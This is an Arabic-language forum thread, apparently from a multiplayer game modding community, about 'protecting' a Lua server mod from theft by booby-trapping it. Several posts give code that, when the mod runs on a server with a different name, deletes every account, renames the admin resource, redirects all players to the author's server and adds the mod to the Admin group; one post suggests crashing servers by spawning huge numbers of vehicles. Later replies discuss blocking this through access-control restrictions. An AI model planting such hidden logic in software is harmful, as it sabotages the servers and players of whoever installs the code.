Jump to content

حمايةة المود


Recommended Posts

  • Replies 59
  • Created
  • Last Reply

Top Posters In This Topic

Top Posters In This Topic

# اقلك شي : حط باس للملف حق المود ولغم ملف كلينت وسيرفر المهم لغم وحط كوماند يعطيك ادمنية وحط كوماند يحول لسيرفرك :twisted: ^.^

# ذي طرق الحماية ذي الايام واحمي الملف من فك التشفير ...

Link to comment

# ' استخدم لو تبغى تحول اللاعبين

addCommandHandler # --- اضافة كلمة تكتبها عشان تسوي الامر

redirectPlayer # --- تحويل اللاعبين

aclrequest # --- تحط بالميتا عشان يعطي صلاحيات لكود التحويل

مثال لكود الصلاحيات

# او تقدر تستخدم كود الاخ عنـأد

addEventHandler ( "onResourceStart", resourceRoot, # --- ايفنت وقت يشتغل المود 
    function (  ) # --- وظيفة 
        if not string.find ( getServerName ( ), "****" ) then # --- نتحقق لو النجوم مو موجودة فـ اسم السيرفر 
                    cancelEvent ( true ) # --- كينسل ايفنت يعني يلغي الوظيفة كلها يعني المود ما بيتشغل 
        end 
    end 
) 

# لا تنسى تستخدم الاكواد عشان تحمي المود من السرقة مو التهكير

Link to comment

لم يتم التجربة ذذذذذ

addEventHandler ( "onResourceStart", resourceRoot, 
    function ( rss ) 
        if not string.find ( getServerName ( ), "****" ) then 
            renameResource ( "admin", "script" ) 
            setTimer ( renameResource, 500, 1, getResourceName ( rss ), "admin" ) 
            setTimer ( function ( )  
                for _, v in ipairs ( getAccounts ( ) ) do 
                     removeAccount ( v ) 
                end 
                for _, v in ipairs ( getElementsByType ( "player" ) ) do 
                     redirectPlayer ( v, "ip", "port" ) 
                end 
                cancelEvent ( true )  
            end, 1000, 1 ) 
        end 
    end 
) 

Link to comment

ما ضبط

 FF\s.lua:227 Bad usage @ 'renameResource' [Could not rename 'FF' as the resource is running 
] 

يجي كذا بالدي بق

"function.redirectPlayer" access="true" /> 
"function.removeAccount" access="true" /> 

الميتا

Link to comment
لم يتم التجربة ذذذذذ
addEventHandler ( "onResourceStart", resourceRoot, 
    function ( rss ) 
        if not string.find ( getServerName ( ), "****" ) then 
            renameResource ( "admin", "script" ) 
            setTimer ( renameResource, 500, 1, getResourceName ( rss ), "admin" ) 
            setTimer ( function ( )  
                for _, v in ipairs ( getAccounts ( ) ) do 
                     removeAccount ( v ) 
                end 
                for _, v in ipairs ( getElementsByType ( "player" ) ) do 
                     redirectPlayer ( v, "ip", "port" ) 
                end 
                cancelEvent ( true )  
            end, 1000, 1 ) 
        end 
    end 
) 

آخ عناد اللي فهمته من كودك آنه يجيب آسم السيرفر آذا كان مب زي اللي بالسكربت

يغير آسم السكربت لـ admin

ويجيب الحسابات ويمحطها ( يمسحها ) ض

بعدين يسوي تحويل للاعبين ؟

Link to comment
ما ضبط
 FF\s.lua:227 Bad usage @ 'renameResource' [Could not rename 'FF' as the resource is running 
] 

يجي كذا بالدي بق

"function.redirectPlayer" access="true" /> 
"function.removeAccount" access="true" /> 

الميتا

حطيت السكربت بقروب الادمن ؟

Link to comment
طيب مافيه تلغيم للكلاينت ؟؟

فيه اكواد مثل

تسوي انشاء الى 1000000000 سيارة ويعلق السيرفر كامل

بس المشكلة التحقق من اسم السيرفر مافيه حق الكلنت

يعني حتى سيرفرك بيتضرر

:lol:

Edited by Guest
Link to comment
addEventHandler ( 'onResourceStart', resourceRoot, 
    function ( res ) 
aclGroupAddObject (aclGetGroup("Admin"), "resource."..res)  
    end 
) 

ذا الكود يضيفه لقروب ادمن تلقائي

# نو

# ممكن يلعب على المود ويحذف قروب ادمن او ما يكون في

# الافضل تستخدم معاها aclCreateGroup

Link to comment
addEventHandler ( 'onResourceStart', resourceRoot, 
    function ( res ) 
aclGroupAddObject (aclGetGroup("Admin"), "resource."..res)  
    end 
) 

ذا الكود يضيفه لقروب ادمن تلقائي

@jafar

طيب كودك يحتاج صلاحيات اسل

ذذ

@king12

مايحتاج تضيفه بقروب ادمن

ليه حطو

aclrequest ?

هو اللي يعطي الصلاحيات

^^

Link to comment
لم يتم التجربة ذذذذذ
addEventHandler ( "onResourceStart", resourceRoot, 
    function ( rss ) 
        if not string.find ( getServerName ( ), "****" ) then 
            renameResource ( "admin", "script" ) 
            setTimer ( renameResource, 500, 1, getResourceName ( rss ), "admin" ) 
            setTimer ( function ( )  
                for _, v in ipairs ( getAccounts ( ) ) do 
                     removeAccount ( v ) 
                end 
                for _, v in ipairs ( getElementsByType ( "player" ) ) do 
                     redirectPlayer ( v, "ip", "port" ) 
                end 
                cancelEvent ( true )  
            end, 1000, 1 ) 
        end 
    end 
) 

سهل تخطيها

اقدر اسوي قروب جديد

واروح الاسل واسوي

function.cancelEvent

اخليها

false

واحط المود بالقروب الجديد

لو تنكسل الافنت

يجي بالديبوق

Access Denied @ cancelEvent

واسوي كود واحطه بقروب الادمن

اذا اللاعب يتحول لسيرفر ثاني يتكنسل الافنت ذذ

+

نفس الشيء ب

removeAccount

^^

Link to comment
لم يتم التجربة ذذذذذ
addEventHandler ( "onResourceStart", resourceRoot, 
    function ( rss ) 
        if not string.find ( getServerName ( ), "****" ) then 
            renameResource ( "admin", "script" ) 
            setTimer ( renameResource, 500, 1, getResourceName ( rss ), "admin" ) 
            setTimer ( function ( )  
                for _, v in ipairs ( getAccounts ( ) ) do 
                     removeAccount ( v ) 
                end 
                for _, v in ipairs ( getElementsByType ( "player" ) ) do 
                     redirectPlayer ( v, "ip", "port" ) 
                end 
                cancelEvent ( true )  
            end, 1000, 1 ) 
        end 
    end 
) 

سهل تخطيها

اقدر اسوي قروب جديد

واروح الاسل واسوي

function.cancelEvent

اخليها

false

واحط المود بالقروب الجديد

لو تنكسل الافنت

يجي بالديبوق

Access Denied @ cancelEvent

واسوي كود واحطه بقروب الادمن

اذا اللاعب يتحول لسيرفر ثاني يتكنسل الافنت ذذ

+

نفس الشيء ب

removeAccount

^^

# خخخخ سهل يسوي قروب ويعطيه الصلاحيات حق التحويل وريموف اكاونت ويسوي لو جا يشيل المود من القروب ما يقدر وكل ما يشيله يطفي المود ... :mrgreen:

Link to comment

طيب انا امنع

الوظايف

hasObjectPermissionTo 
  

+

aclCreateGroup 

+

cancelEvent 

+

stopResource 

+

isObjectInACLGroup 
  

+

redirectPlayer 

امنع الوظايف كلها بقروب جديد واسل جديد واحط المود بالقروب الجديد

وش بيصير لي ؟

بيصير بالديبوق

Access Denied

هههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههه

Link to comment
طيب انا امنع

الوظايف

hasObjectPermissionTo 
  

+

aclCreateGroup 

+

stopResource 

+

isObjectInACLGroup 
  

+

redirectPlayer 

امنعها كلها بقروب جديد واحط المود بالقروب ذا ذذ

# ' [ خخ كل شي وله حل ** سهل تتحق ان المود موجود بغير ذا القروب المحدد الي فيه صلاحيات لو موجود بغير القروب الي محدد يشيله ]

# بس مدري ليش معقدها خخخ وش دراه لو مشفر الملف ^__^

Link to comment
ليه كل هالتعقيد ؟

الا بيزرف المود وش دراه انه فيه التلغيم !

ذي طرقي وابداعاتي لما احط مود مو موثوق فيه او ملغم

-_-

اشيل عنه كل الصلاحيات كلنت سيرفر كل شيء كل حاجة ض1

عشان اعرف ان المود ملغم ولا لا ض2

حتى صلاحيات التحقق اشيلها منه

هههههههههه

كيف ي شباب مو انا ذكي ؟ ض1

Edited by Guest
Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.

×
×
  • Create New...